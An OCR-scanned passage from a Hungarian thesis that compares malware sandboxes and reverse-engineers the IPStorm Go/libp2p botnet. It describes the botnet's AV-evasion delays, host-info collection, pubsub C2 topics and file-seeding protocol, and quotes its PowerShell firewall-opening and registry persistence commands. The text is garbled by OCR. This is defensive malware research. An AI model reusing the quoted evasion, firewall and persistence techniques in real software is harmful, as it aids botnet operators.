litas érdekében.

Cuckoo | CAPEv2 | DRAKVUF | Noriben | PANDA
Windows tdmogatds | Igen Igen Igen Igen Igen
Linux tdmogatas Nem Igen Nem Nem Igen
x86(_64) tdmogatas | Igen Igen Nem Igen Igen
arm(64) tdimogatas Nem Igen Nem Nem Igen
Hélozati elemzés Igen Igen Igen Részben Igen
PCAP elérhetd Igen Igen Igen Nem Igen
Viselkedés elemzés Igen Igen Igen Igen Igen
Dropped fajlok Igen Igen Igen Nem Nem
Aktivan tdmogatott Nem Igen Igen Részben Igen
Koltség Nincs Nincs Nincs Nincs Nincs

5.3. tablazat: Sandbox kornyezetek osszehasonlitdsa

5.5.2 Felhészolgaltatas alapi megoldasok

A felhd alapti megolddsok kevésbé részletesek, vagy magasabb részletességii, de magas ari meg-
old4sok miatt egyik sem kifejezetten alkalmas az elemzések kizarolagos elvégzésére. Ellenben a
kordbban futtatott mintdk elemzései elérhetSek rajtuk, melyek biztosithatnak olyan informéciét
szamomra, melyet egy a jelenben futtatott példanyon esetleg nem tudnék elemezni. Az aldbbi
tablazat (5.4) szemlélteti azokat a konfigurdcidkat melyek a kovetelményeket teljesitik vagy a

legjobban megkozelitik.
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Any.run | Hybrid Analysis | JOE Sandbox | VirusTotal
Windows tdmogatds Igen Igen Igen Igen
Linux tdmogatas Igen Igen Igen Igen
x86(_64) tdimogatas Igen Igen Igen Igen
arm(64) timogatas Nem Nem Nem Igen
Hél6zati elemzés Igen Részben Igen Igen
PCAP letoltése Igen Nem Nem Igen
Viselkedés elemzés | Részben Igen Igen Igen
Dropped féjlok Windows Igen Igen Igen
Koltség $109/h6 Atvildgitas Egyedi Egyedi

5.4. tablazat: Sandbox felhdszolgaltatasok osszehasonlitdasa

5.5.3 Osszegzés

Két megoldés felelt meg a kovetelményeknek a CAPEv2 Sandobox és a PANDA. A PANDA
elemzési modszerének megkozelitése szimomra nem idedlis, mivel jelentds mértékben tdmasz-
kodik az elemzd éltal irt kiegészitGkre és manudlis elemzésre. Ezzel szemben a CAPEV2 az
analizis elvégzése utdn egy attekintést nyudjt szdmomra, melybdl el tudom donteni, hogy mely

részeket érdemes részletesebben elemezzem, ezért a CAPEv2 sandboxot hasznaltam fel.

5.6 CAPEv2 Sandbox kornyezet ismertetése

A CAPEv2 Sandbox felépitése két 6 részbdl dll, a host-bol, ami az iitemezést, elemzést €s taro-
last végzi, és egy vagy tobb guest-bdl, amin az agent, ami a host-tal kommunikal, és az elemezni

kivant szoftver fut.

Az elemzési kornyezet megvaldsitdsdra egy Proxmox virtualizacids kornyezet all rendelke-
z€semre. A haldzati felépités ugy lett kialakitva, hogy a guest, melyen a kartékony kod fut, csak
a host-tal tudjon kommunikdlni, més eszkozokkel ne, ezért egy virtudlis hdl6zatba lettek elhe-
lyezve. A host rendelkezik interneteléréssel, melyen keresztiil a guest szdmadra tud biztositani
internetelérést, tor haldzaton keresztiili internetelérést, illetve tilthaté a halézati kommunikacio

is (5.1).
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Proxmox virtualizaciés kérnyezet

...................

: Ubuntu
22.04 LTS !

AR

E Windows 10

Host

i ! Virtualis halozat x Helyi halozat

: Guests

5.1. abra: A kiépitett hdalozat Proxmox segitségével

Két guest rendszert telepitettem, egy Windows 10-et és egy Ubuntu 22.04 LTS-t. Mindkét
operdacids rendszer esetében a CAPE agent-et fel kellett ra telepiteni €s a lehetS legtobb olyan

halézati, illetve frissitd szolgdltatdst kikapcsolni, mely az elemzések sordn zajként jelentkezhet.

5.7 Az elemzési folyamat ismertetése

Az elemzést az aldbbi folyamatabrak szerint végzem, a programverzidk szerint haladok annak
érdekében, hogy az idSrendben tortént valtozasokat kovetni tudjam. A legels§ programverzidt
az 5.2 folyamatébra szerint végzem. A statikus elemzési folyamatot kiegészitem a dinamikus
elemzési kornyezetbdl szdrmazo informécidkkal és igy teljes képet latva tudom a mikodést is-

mertetni.

Mdkodés

Elso Statikus elemzés PN
megallapitasa

programverzio

Y
Dinamikus

elemzés
-

5.2. abra: Elemzési folyamatdabra az elsd programverziohoz
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A tovabbi programverzidkndl az 5.3 folyamatdbra szerint mar tudok tdmaszkodni a Ghidra
Version Tracking funkcidjara, igy a statikus elemzéshez felhaszndlhatom a kordbbi verziébdl
szarmaz0 elemzési adatokat a folyamat gyorsitasa érdekében. Az djabb verzidban tortént valto-
zasokra mdr akdr a korabbi elemzési adatok dtmdsoldsakor is fény deriilhet, de a teljes elemzés
elvégzése utan megdallapithatéak lesznek a médositasok.

Korabbi elemzési

informaciok Statikus elemzés
atmasolasa

Kulénbségek
megallapitasa

Kovetkez6
programverzio

Dinamikus
elemzés

5.3. abra: Elemzési folyamatdbra a 2. és késobbi programverziokhoz
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6 IPSTORM

2019-ben méjusdban az Anomali kutat6i fedezték fel €s nevezték el az IPStorm-ot (InterPlane-
tary Storm), nevét az IPFS hasznalatabdl és a fejlesztdje dltal adott Storm elnevezésbdl kapta.
JelentGsége, hogy ez az elsG olyan kértevs melyet ”in the wild” taldltak, azaz valds kdrnyezetben,
miikodés kozben és az IPFS-t haszndlta Command and Control (C2) céljara [1]. Megjelenése 6ta
tobb az IPFS adta lehetdségeket kihaszndlé tdmadas jelent meg, jellemzden adathalész tipusuak,
de az IPStorm-hoz hasonléak is, mint a Dark Utilities, mely C2 szolgaltatast kindl [26]. Folyt
kutatds, hogy hogyan valdsithaté meg Ransomware as a Service (RaaS) tipusu szolgéaltatds [27],
hogyan lehet felhaszndlni botnetek vezérlésére az IPFS-t [28], illetve hogyan lehet felhasznélni

az elosztott tarold megolddsokat kartevok elrejtésére [29].

A Bitdefender 4ltal végzett kutatds szerint [2] a timaddk az [PStom-bdl épitett halézatot hasz-
naltdk fel proxy szolgéltatds infrastruktirdjanak alapjdul. Ezt az infrastruktarat tudtdk értékesi-
teni, mint proxy szolgéltatds, kiilonbozd célokra és kiilonbozd drkategdéridkban. A legmagasabb
arkategoridban az 6sszes proxy végpontot el lehetett érni szerte a vildgon, €s elGfordulhat, hogy
az [PStorm-mal fert&zott eszkozokhoz a hozzaférés is beletartozott a csomagba. 2023. novem-
ber 14-én az Amerikai Ugyészség bejelentette, hogy az IPStorm infrastruktiréjat lekapcsoltak

[30].

Az IPStorm-bodl osszesen 52 kiilonbozd dllomany éll rendelkezésemre, ezek az dllomédnyok
nem tartalmaznak olyan duplikéciét, hogy egymdsbdl kitomorithetSek lennének, de megtaldlha-
téak kozottiik olyanok, amelyek csak és kizdrdlag a PE fejléc sizeOfHeaders mezdben térnek
el. Jellemz&en 1024 és 4096 a megjelend érték, ebbdsl mindig az 1024-et haszndld dlloméa-
nyok lettek elemezve. A 4096-ot haszndl6 dllomédnyok kozos jellemzdje, hogy még az 1024-et
hasznédl6khoz rendelkezem az UPX tomoritett dlloménnyal is, addig az 4096-ot haszndlok egyi-
kéhez sem. Val6szintileg ezt egy harmadik fél csomagolta ki és hibdsan keriilt meghatdrozésra
ez a mezdQje a fejlécnek. A verzidk két nagy csoportra oszthatdak, a 0.0.1f-t61 a 0.0.3m-ig csak
Windows operdcids rendszerre késziilt verzidval taldlkoztam, bar az dllomanyban mds operaci-
Os rendszerekre is van utalds, nem ismert hogy valaha létezett volna ezekbdl a verziokbol més
operdcios rendszerre val6. A masodik csoport a 0.0.8h-t6] a 0.2.05a-ig tart, ezek kozott vegye-
sen megtaldlhatéak Linux, Android és Mac operécids rendszert célz6 dlloményok, x86, x86-64,

arm, aarch64 architektdaraval is. A 6.1 dbra szemlélteti a verziok idGvonalat és korabbi elemezé-
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sek altali lefedettségét, a bekeretezett verzidk azt jelolik, hogy az elemzésben mely verzidkrol

van sz6 és a publikdlt hash-ek koziil melyeket sikeriilt a rendelkezésemre 4116 példdnyaimmal

Osszepdrositani.
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6.1. dbra: IPStorm verziok korabbi elemzések dltali lefedettsége [1][2][3][4]

Az elemzé€s sordn a Go nyelv tobb tulajdonsdgat is fel tudom haszndlni az elemzési folyamat
segitésére. Minden Go bindris tartalmaz egy tigynevezett pclntab-ot (Program counter line num-
ber table), ami a Program Counter értékét rendeli 6ssze azzal, hogy melyik f4jl melyik sordban
taldlhat6 az utasitdshoz tartozo forraskdd. A fajlneveken tidl itt taldlhatéak még verzidinforma-
ciok, endianness, architektuira tipusa €s eljarasok nevei (13.2). Ez a struktira jelen van minden
Go bindrisban, nem tdvolithat6 el, mert a Go runtime-nak sziiksége van rd a helyes mikodéshez

€s a stack trace informativ megjelenitéséhez is.

Tovabbi informéciét lehet kinyerni a moduledata struktirdbdl, ami az dllomény kiilonb6zd
jellemzG@it tarolja, tobbek kozott a tipusinformécidkat és az interface tipusokat. A tipusinformé-

ciok tartalmazzdk a programban haszndlt struktirdk méretét, mezdinek neveit és tipusait is.

Ezen informaciok kinyerésére a Ghidra alapfunkcionalitdsan feliil lehetdség van hasznélni
a GolangAnalyzerExtension-t [31], amely kiterjeszti a Ghidra funkcionalitdsit a Go verzidk

szélesebb kord tdimogatdsaval, Go 1.6-t6l 1.23-ig, szemben a Ghidra 4dltal timogatott Go 1.15-
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t6l 1.22-ig terjedd tartomdnnyal (a 11.2-es verzidban).

e 7 2z

A Ghidra alkalmas ugynevezett version tracking-re, ami lehet6vé teszi kett§ dllomany Ossze-
hasonlitasat és koztiik a valtozasok megéllapitdsat. Ez az 0sszehasonlitds nem csak byte szinten
mikodik, hanem magasabb absztrakcids szinten is, 0sszehasonlithatdéak az elemzés sordn 1ét-
rehozott cimkék, metédusok, adatok is. Kiilonbozd korrelatornak nevezett algoritmusok allnak
rendelkezésre, amelyek kiilonboz6 tulajdonsagok alapjdn taldljak meg a két alloméany kozott az
azonos részeket. Léteznek exact korreldtorok, amelyek byte €s instrukcié szinten keresnek azo-
nos adatot vagy metddust, illetve referencia alapu, ami a kordbban felismert adatokra és metd-
dusokra torténd hivatkozasok alapjan dllapitja meg, hogy mely objektumok lehetnek azonosak.
Az azonossagot egy pont értékkel jellemzi, ami meghatdrozza, hogy milyen mértékben azonos
a két felismert objektum, ennek alapjan konnyen meg lehet taldlni a két verzié kozott valtozott
részeket is. Az elemzéshez tobb korrelatort nem hasznaltam fel, mert ezek megfelelGen lefedték
a teljes bindrist, tovabbi korreldtorok a 6.2 dbran lathat6ak. A korreldtorok futtatdsa utdn megal-
lapithatéak azok az eljarasok is, aminek nem taldlt egyik algoritmus sem megfeleld part a masik

allomdanyban, ezek lesznek a két verzi6 kozott eltavolitott vagy hozzdadott metédusok.

Name
BSim Function Matching
Combined Function and Data Reference Match r“
Data Reference Match
Duplicate Data Match
Duplicate Function Instructions Match
Duplicate Exact Symbol Name Match

Exact Data Match i
Exact Function Bytes Match -
Exact Function Instructions Match i
Exact Function Mnemaonics Match =

Function Reference Match

Similar Data Match

Similar Symbol Name Match

Exact Symbaol Name Match r“

6.2. dbra: Ghidra Version Tracking korreldatorok. Zold zdszloval jelezve a felhaszndltak.

6.1 IPFS

Az IPStorm miikodésének megértéséhez az alapjaul szolgal6 koncepcidkat kell megismerni. Az

IPES alapjdul szolgélé libp2p szolgélja a funkcionalitdsat az IPStorm-nak is. A libp2p decent-
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ralizélt peer-to-peer hal6zatokhoz definidl protokollokat és specifikdciokat, hogy a hal6zatban
részvevd eszkozok, tigynevezett peer-ek vagy node-ok kozotti kommunikaciot biztositsa. Min-
den peer rendelkezik egy PeerID-vel, ami a hdl6zatban egyedi, létrehozdsa a peer publikus kul-
csdnak a kriptogréfiai hash-ébdl jon 1étre. Ennek a reprezenticidja egy Multihash-ként [32]
jelenik meg, ami nem egy konkrét algoritmust takar, hanem tartalmazza az algoritmus azono-
sitdjat, a hash hosszat €s magat a hash-t. Megjeleniteni jellemzden base58 kédolva szoktdk. A

multihash base58 kodolt megjelenése a kovetkezs:

Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFt(QCQz6giakEqamo7a2

A libp2p egy masik koncepcidja a Multiaddress vagy multiaddr [33], ami egy rugalmas cim-
z¢€si formatumot biztosit. Formatuma egy protokoll azonosit6bdl és egy érték mezdbdl dll. Ez a

mintdzat ismételhet§ egymads utin. [34]

/<protokoll azonositd>/<érték>

Py

A formatum lehet6vé teszi egymdsba dgyazott protokollok reprezentaciéjat is, példaul:

— /ipfs/QmAlice - egy libp2p peer azonositdsa

— /ip4/192.0.2.0/udp/1234 - udp dgyazva IPv4-be

— /ip4/198.51.100.0/tcp/4242/ipfs/QmAlice - egy libp2p peer ami a 4242-es TCP
porton €s 198.51.100.0 IPv4 cimen érheté el

Létezik a circuit-relay protokoll, amely a node kozvetitd (relay) szerepét szabdlyozza. Alap-
vetden harom konfigurdcids lehetdség van meghatarozva a libp2p-ben: az OptHop, OptActive
€s az OptDiscovery. Az OptHop lehet6vé teszi az éppen konfigurdlt node szamadra, hogy magat
relay-ként hirdesse és masik node-ok forgalmét tovdbbitsa, de csak olyan node-ok kozott ame-
lyekkel kiépitett kapcsolattal rendelkezik. Az OptActive kibdviti az OptHop mikodését azzal,
hogy ha a cél node nem érheté el, akkor megprobél kapcsolatot 1€tesiteni vele. Az OptDisco-
very az Ujonnan csatlakozott node-ok relay-ként valé6 mikodésének felderitésére lett készitve
[35], de mivel arra nincs lehet8ség, hogy a masik relay-r6l megdllapitsa, hogy OptActive relay-
e, igy ezt az opciot a késébbi libp2p verzidkban letiltottdk a tobbletforgalom és a nem hatékony

a mukodése miatt [36][37].
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Ehhez tarsul egy multiaddress is, amellyel a relay funkcionalitdst lehet igénybe venni. A
relay-ek haszndlata tobbféle formatumban megadhatd, az IPStorm esetében arégi /ipfs/ jelolés

lesz haszndlatban az dj /p2p/ helyett [38].

— /p2p-circuit/ipfs/QmAlice

Probédld meg egy relay segitségével elérni QmAlice-t
— /ipfs/QmRelay/p2p-circuit/ipfs/QmAlice

A QmRelay-en keresziil érd el QmAlice-t

A libp2p biztosit olyan kommunikaciés megoldést is, ami lehetdvé teszi, hogy tobb peer is
rész tudjon venni egy kommunikdcioban, ez a pubsub. A pubsub egy olyan megoldds, ami lehe-
tévé teszi, hogy egy azonositdval elldtott topic-ba a node-ok informéaciét osszanak meg egymas-
sal. Ha az egyik node barmit bekiild a topic-ba, azt a tobbi node litja. Az IPStorm a gossipsub

implementdciot hasznalja.

6.2 0.0.1f mikodési attekintés

Az els6 rendelkezésemre 4ll6 verzi6 a 0.0.1f (01658e8c). Az elemzés sordn szembeotls, hogy

a bindrisban térolt elérési utak a készit6rdl tobb informdciot is eldrulnak. A main.main eljarés

elsd utasitasanal a kovetkez§ elérés ut talalhato:

/Users/brokleg/go/src/storm/storm.go:48

Ez eldrulja, hogy a készit§ operdciés rendszere MacOS a /Users/ elérési tit miatt, felhasznélo-
neve brokleg és a programot storm-nak nevezte el. Ezeket a megfigyeléseket Anomali Threat
Research kutatéi is megtették a 0.0.2n verzid elemzése sordn [1], ezért kapta az IPStorm, azaz
InterPlanetary Storm elnevezést. A miikodésrdl egy attekints képet lehet kapni a helyreallitott

modulnevekbdl:

storm/avbypass - Antivirus megkeriilés

— storm/ddb - Elosztott adatbazis

— storm/filetransfer - Fijlok kiildése, fogaddsa

— storm/node - libp2p node, kdzponti funkcionalitds

— storm/powershell - PowerShell parancsok futtatdsa

— storm/util - dltaldnos eszk6zok, eljardsok
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A kovezetlen csomagfiiggdségek alapjan a megjelenési ddtumnak lehet egy alsé hatart meg-
allapitani. Ezt dgy tettem, hogy a kiilonboz§ csomagverziok kozott tortént valtozdsokat azo-
nositottam a visszafejtett kddban, igy megkapva, hogy melyik verzi6 szerepel az dllomanyban,
ez lathat6 a 6.1 tabldzatban. Ez alapjan a 0.0.1f verzi6 2019. 04. 04. utan késziilt. Ennek az
adatnak az ismeretében l4thatd, hogy ezen verzié megjelenése €s az Anomali Threat Research

altal publikalt elemzés kozott koriilbeliil 2 honap telt el.

Csomag neve Verzi6 | Megjelenés

github.com/1libp2p/go-1libp2p v0.0.4 | 2019-04-04

github.com/1ibp2p/go-1ibp2p-discovery | v0.0.1 | 2019-03-02

github.com/1ibp2p/go-1ibp2p-kad-dht v0.0.7 | 2019-04-04

github.com/1ibp2p/go-1ibp2p-net v0.0.1 | 2019-03-01

github.com/1ibp2p/go-1libp2p-peer v0.0.1 | 2019-02-27

github.com/1ibp2p/go-1ibp2p-pubsub v0.0.1 | 2019-03-02

6.1. tablazat: IPStorm dltal hasznalt fobb csomagok és verzioik

6.2.1 Antivirus megkeriilés

Az indulési folyamat egy antivirus elkertilési technikdval kezdddik. A main.main-ben egy go-
routin végtelen ciklusban egy time.Sleep-et hiv meg 1 médsodperces idGvel. Ez az alkalmazas
futdsdnak végéig fut. Ezzel parhuzamosan torténik a storm/avbypass.Bypass hivdsa, ami az
storm/avbypass.allocateMemory hivja meg, ami 1000 darab 30000000 elemi uint8 tipust
slice-t és 102400000 elem uint8 tipusu Array-t foglal (13.3), eredményét nem térolja. Majd
storm/avbypass.hopl-et hivja meg, ami 100 és 250 nanoszekundum kozotti idStartamot var.
A hopl tovédbbi 8 hop-ot hiv meg, aminek a funkcionalitisa megegyezik a hopl-gyel. Ezzel a
technikdval az antivirusok dinamikus elemzd részét keriilhetik meg, mert egy alkalmazas indu-

7 2z

lasakor csak rovid id6 4ll rendelkezésiikre az elemzés elvégzéséhez [39].

6.2.2 Kornyezeti informaciok gytjtése

Az indulési folyamat folytatdsaként ellendrzi, hogy csak egy példany fusson belble, erre a
github.com/marcsauter/single csomagot haszndlja, ami f4jl alapon oldja meg az ellen-

Orzést. Amennyiben mar fut egy példany, 1 masodpercenként djra probélkozik. A lock fajl neve
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a kovetkezé:
12D3KooWRPZKYXrZ4ZkN4D4Pw2CreBBSKULLSHS6n3R1PYfYx1V2
Amennyiben nem fut mas példany a storm/util.CollectRuntimeInfo-t hivja meg, ami

elkezdi a futtatdsi kornyezetbdl az informécidkat 6sszegy(jteni, melyeknek egy részét késGbb

megosztja a hdl6zaton. Az informdcidk a kovetkezdket tartalmazzak:

— GoOS - GID

— Kernel — Felhaszndlonév
— Kernel verzi6 — Felhaszndl6 neve
— Platform — Home konyvtar

Operécios rendszer Van-e adminisztrétori joga

/////
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CPU logikai magok szdma
— UID

Program konyvtara

Az informécidk kinyeréséhez felhaszndlja a github.com/matishsiao/goInfo és a
github.com/kardianos/osext csomagokat, illetve a Go standard library os/user csomag-
jat. Az adminisztratori jogkort ugy allapitja meg, hogy a \\.\PHYSICALDRIVEOQ elérési utat

megprobélja megnyitni, amennyiben sikertil, az adminisztratori jogkort jelent.

6.2.3 libp2p node elkészitése

A storm/util.AddToFirewall hivdsa kovetkezik, amely egy tlzfal szabdlyt hoz létre, amely
az 0sszes befelé jovo forgalmat ami ehhez az alkalmazéshoz tart, engedélyezi. A szabdly 1étreho-
zasdhoz a storm/powershell modult haszndlja, a powershell.exe -NoExit -Command -
paranccsal egy PowerShell-t nyit, ami a standard input-r6l vdrja a parancsokat, ehhez a

github.com/bhendo/go-powershell csomagot haszndlja. A tizfal szabdly az aldbbi pa-

/////

New-NetFirewallRule -Displayname "%s" -Direction Inbound

-Program "Ys" -Action Allow

EttSl a ponttdl a libp2p node felépitése kovetkezik a storm/node.NewNode hivasaval, ami
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az 0sszes kommunikdcié alapjat fogja nydjtani. A node konfigurdci6ja tobb konfiguréacids ob-
jektumbol épiil fel. A folyamat a node-ot azonosité Ed25519 kulcspér generdldsaval indul, ez
nyUjtja a node identitasat. Mivel a kulcs minden inditaskor Ujra lesz generdlva, igy mindig vélto-
zik a PeerID. Ezéltal nem azonosithatéak a node-ok egyértelmten, nem tudhatd, hogy uj fert6zés

tortént vagy csak tujra lett inditva egy eszkoz.

Haszndl egy ConnectionManager objektumot, ami a minimdlisan és a maximédlisan fenntar-
tand6 kapcsolatok szdmat szabdlyozza, ez minimélisan 384, maximdlisan 512 kapcsolatra van

allitva.

Tovabbi konfiguricids objektum a node relay-ként mikodését, azaz kozvetitl szerepét szaba-

lyozza. Ebben a verziéban az OptHop, OptActive és az OptDiscovery is be van kapcsolva.

A libp2p kétféle mux-ot tdmogat, a mplex-et, ami egy régebbi megoldds és a yamux-ot. A
mux-ok funkcidja, hogy egy kapcsolaton keresztiil tobb parhuzamos kommunikaciét tovabbit-
son, multiplexeljen. Alapértelmezésben mind a kettd engedélyezve lenne, de az IPStorm fejlesz-

téje csak az mplex-et engedélyezte.

Amennyiben kordbban a tlizfal szabdly 1étrehozasa sikeres volt, akkor két konfigurécids 1¢é-
pést hajt végre. Létrehoz egy NATManager konfigurdciés objektumot, ami a megfelel§ portto-
vabbitasi bedllitdsokat kezeli, amennyiben lehetséges. Illetve a bejovd kapcsolatok fogaddsara
bedllitjaa /ip4/0.0.0.0/tcp/0 multiaddress-t a ListenAddrStrings objektummal. Ennek

eredményeként az Osszes haldzati interfész egy véletlenszerd portjin fog figyelni a node.

Ezennel a node specidlis konfigurdcidjanak vége, transport megolddsnak az alapértelmezett
TCP és Websocket megolddsokat haszndlja, a fogalom titkositdsdra pedig az ebben a verzidban
alapértelmezett secio protokollt. A go-1ibp2p.NewWithoutDefaults hivdsaval megtorténik

a libp2p host 1étrehozasa.

Ahhoz, hogy a hdlézatban taldlhaté peer-ek €s tartalomszolgéltatok feltérképezésére képes
legyen a kad-dht-t, azaz Kademlia Distributed Hash Table-t haszndlja specidlis konfiguraci6 nél-
kiil, ez egy sztenderd libp2p megoldas, a go-1ibp2p-kad-dht csomag biztositja. Hogy a DHT-

t feltoltse €s részt vegyen a a hdlézatban az alapértelmezett libp2p/IPFS belépési ponthoz tartozé
bootstrap node-okkal 1étesit kapcsolatot és a go-1ibp2p-kad-dht . (*IpfsDHT) .BootstrapOnce
hivasaval inicializdlja a DHT-t. A BootstrapOnce-talapvet§en periodikusan kellene meghivni,

hogy a héldzat feltérképezése folyamatos legyen vagy a Bootstrap-ot haszndlni, amely auto-
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matikusan meghivja a beallitott id6k6zonként. Ugyan a BootstrapOnce-nak dtaddsra keriilnek
az id6zitésre vonatkoz6 bedllitdsok az eljaras jellegébdl adéddan ezek nem jutnak érvényre, nem
lesz periodikusan meghivva [40]. A hal6zat mikodésére valoszinileg csak kis mértéki hatasa

volt.

Most a storm/node. (*Node) . advertise-fm-et hivja meg, ami az [PStorm node-okra jel-
lemz6 namespace-k hirdetéséért felel a go-1ibp2p-discovery.Advertise segitségével. Ezen
azonositok alapjan tudjak egymadst felfedezni az IPStorm node-ok és tudatni egymadssal, hogy

milyen szolgéltatdsokat ismernek. A namespace-k, amelyek meghirdetésre keriilnek:

— Az IPStorm hél6zatban résztvevs eszkozok hirdetik egymas azonositasara:
fmi4kYtTp9789G3sCRgMZVG7D3uKalwtCuWw1j8LSPHQEGVBUS5hfbNdnHvt3ky
RI1fYUIGNAOOzactmIMIZodsOha9tnfe25Xef1

— Info topic:

COFAh40EtzpBb145aY UcluKo1UJZ-1bRUGg1 WJo30OFzWFEKzbShsWFO-wt95Log1
eP0gp22hX3PQ2iU5w83a8uoPw-C3WngMgFD1

— Cmd topic:
6szrvCIvhS8QSTs6nq0128i77MNO1DVh4pCVBVRY xm-5dGHPsOa8sNCMypcPoMF
Te5BeXWPnNIL0o316G6Ev1gQLeqz54RoMwWI9pPFD1

6.2.4 sfst protokoll

A storm/filetransfer.StartFileServer dltal a fijltranszfer protokoll regisztracidja ko-
vetkezik. A protokoll ID a /sfst/1.0.0. Az sfst protokoll szolgdl a fajlok kérésére és foga-
dasara, két iizenetet definial, a GET-et €s az erre torténd valaszt. Formatuma a GET kérésnek a

kovetkezd:

GET <file name>\n

A GET kérésre a kovetkezG formatumu a valasz:

<file name> <file size> <SHA256 checksum>\n

<file contents>
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6.2.5 Elosztott adatbazis

A storm/ddb.New hivdsdval megtorténik a DDB, azaz a Distributed DataBase elkészitése és
pubsub topic-janak regisztraciéja, melynek azonositdja a 12.3 tdbldzatban van feltiintetve. A
DDB nytjtja az IPStorm szdméra az informdcidcserét a C2 szerverekkel €s egymadssal is. Ezen
az adatbazison keresztiil keriil kdzlésre az 0j programverzidk verzidszdma, illetve azon node-ok
listdja, amelyek ezeket a verzidkat éppen szolgdltatni tudjdk. Jelenleg 2 parancs tdmogatott, a

SetWithTTL €s a SAdd. Az lizenetformatum a kovetkezd:

{
"Command": "<command>",
"Key": "<key>",
"Value": "<value>",
"TTL": <ttl>

}

A két izenetformatum kozott a kiilonbség az, hogy a SetWithTTL egy kulcs-érték part tarol,
addig az SAdd az lizenetben jelzett kulcshoz egy listat tart fent, amelyhez az értéket hozzdad-
ja, tehat nem Kkeriil feliilirasra, tobb értéket is tdrol egyszerre. Az SAdd feltehetGen a Set Add

roviditése. A kulcsok a kovetkezd jelentéssel rendelkeznek:

— 7/5aYUcluKol1U1/QrnStmHQXqVcHf8DcW U1 FtIObfCoT3dnm YPWMEgTKmXGh
OXu-fdekgniT8VwrgMK4kEWCdBsvI2qyOpVygmu-1Jtu96t0OnroXaN1":
Legujabb verzi6 verzidszdma, pl.: 0.0.1f

— 7seeders:<SHA256 checksum>": az adott ellen6rz60sszeggel rendelkezé féjlt szolgdltatd
peer-ek base58 PeerID-i

— "file-checksum/<file name>": az adott fajlnévvel rendelkez$ féjl ellen6rzGosszege, ez

mindig a legdjabb verzidészdmot koveti

Az IPStorm operacios rendszerenként €s architekturanként kiilonbozd fajlneveket hasznal a
megfelel ellen6rz80sszeg kivalasztasara melyek az aldbb vannak felsorolva. A jelenleg vizsgalt

0.0.1f a windows/386-ot hasznélja.

— darwin/amd64: darwin/amd64-iterm

— linux/amd64: linux/amd64-iterm?2
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— windows/386: windows/putty.exe

— windows/amd64: windows/putty2.exe

6.2.6 Info és Cmd topic-ok

sz

Az inicializalas kovetkezd 1€pése az Info és Cmd topic-okra torténd feliratkozas és a helyi node-
ol Osszegyjtott informdciok publikdldsa az Info topic-ra. Ezen topic-ok azonositdja a 12.3
tdblazatban van feltiintetve. Az Info topic-ba a kordbban Osszegyjtott informécidk egy része
keriil elkiildésre, az alabbi formatumban. Ebbdl 14dthatd, hogy az olyan informdcidk mint fel-
haszndl6i adatok, jogosultsdgok €s a fdjlrendszeren val6 elhelyezkedés nem keriilt elkiildésre.

Az informdciokat ugyan az 6sszes IPStorm node megkapja, de nem tesz veliik semmit.

{
"HostID": "<baseb58 PeerID>",
"Version": "0.0.1f",
"Platform": "windows/386",
"SystemInfo": {
"GoOS": "<runtime.GOOS>",
"Kernel": "windows",
"Core": "<Windows version>",
"Platform": "unknown",
"0S": "windows",
"Hostname: "<hostname>",
"CPUs": <number of CPUs>
}
}

A Cmd topic szolgdl a kiilonb6z8 parancsok fogaddséra, ezen keresztiil lehet egy fix utasi-
taskészlettel kiilonboz§ feladatokat elvégeztetni a node-dal. Jelen esetben az egyetlen definialt

parancs a seed. A seed parancs felépitése a kovetkezd:

seed <baseb8 peerID> <file name>

A parancs hatdsdra a node a jelzett peer-tdl letolti a jelzett fajlt és & is kiszolgal6java valik.

Ennek folyamata a kovetkezd:
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1. Megérkezik a seed QmAlice windows/putty.exe parancs a Cmd tpoic-ba

2. A node kapcsolatot 1étesit a QmAlice peerID-vel rendelkezd peer-rel

3. Az /sfst/1.0.0 protokollt haszndlva egy GET windows/putty.exe\n ilizenetet kiild a
QmAlice peer-nek

4. A QmAlice peer vdlaszol a windows/putty.exe 15000000 blo2b3\n vélasziizenettel,
majd elkiildi a fajl tartalmat is

5. A fogadott f4jl SHA256 ellendrz80sszege kiszdmitasra keriil és Osszehasonlitja, hogy
megegyezik-e a vdlaszban kapottal (b102b3)

6. storm/filetransfer.ServeFile meghivasra keriil, aminek hatdsdra ez a node is ki-

szolgédldjava valik ennek a fajlnak

6.2.7 Perzisztencia elokészitése

A topic-ok inicializédldsa utdn sajat magéat is meghirdeti a hdlézaton, majd perzisztensé teszi ma-
gat az eszkozon. Ehhez amain. serveSelf-et hasznadlja, amely el§szor beolvassa az dlloményt
a memoridba zlib tomoritést alkalmazva é€s a DDB topic-ba elkiildi a SAdd iizenetet amiben sa-
jat magat jelzi mint kiszolgdlé. Ezen a ponton érdemes megjegyezni, hogy a kiildott és fogadott
fajlok tobb szinten is tomoritve vannak, el8szor a futtathaté dllomany UPX-szel €s a hdldzaton
torténd szallitds €s a memoridban torténd tarolds kozben még az UPX-en feliil zlib-bel is. Ennek
kettds oka van, az dllomanyok taroldsa kevesebb memoriat fogyaszt €s a szdllitds is gyorsabban
megoldhato, illetve a zlib tomoritett fajlokat nehezebb a memoridban detektalni, igy elkeriilve a

szallitas és terjesztés folyaman, hogy detektdldsra keriiljon.

A main.serveSelf a meghirdetés utdn a perzisztencidval foglakozik, elGszor az esetleges
kordbbi verzidkat tavolitjael. A storm/util.GetRegisteredInstallations metddust hasz-
ndlja a telepitett verziok megtaldldsdhoz, ami a kovetkez6 PowerShell parancsot futtatja, hogy

lekérje a registry-bdl a telepitett verzidkat:

Get-ItemProperty "HKCU:\Software\Microsoft\FixDrive\Registration"
Select-Object -Property * -Exclude 'PSChildName', 'PSPath','
PSParentPath', 'PSDrive', 'PSProvider','(default)' | Format-List |

Out-String -width 8192

Ennek eredményeképpen megkapja a kordbbi telepitések név és elérési ut listdjat, és eltavolit-
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//////

fajlokat is a fajlrendszerrdl. A registry-bdl torlésre az aldbbi parancsot haszndlja, a <name> he-

lyére az aktudlis kulcs nevét helyettesiti be.

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\FixDrive\

Registration" -Name "<name>"

6.2.8 Perzisztencia

Ezen a ponton egy fontos miikodésbeli eldgazds kdvetkezik, amennyiben pontosan ezzel a f4jllal
mar megtortént a perzisztencia, azaz nem egy Uj fert6z€s vagy Uj verziora frissités tortént, akkor a
6.2.9 Frissitési mechanizmus fejezetben foglaltakkal folytatédik a futds, amennyiben nem, akkor

itt folytatédik a perzisztencia megvaldsitdsdval. A perzisztencia megvaldsitdsdhoz generdl egy

/////

JHUSERPROFILEY\AppData\Local\Packages\<random directory name>_ <13
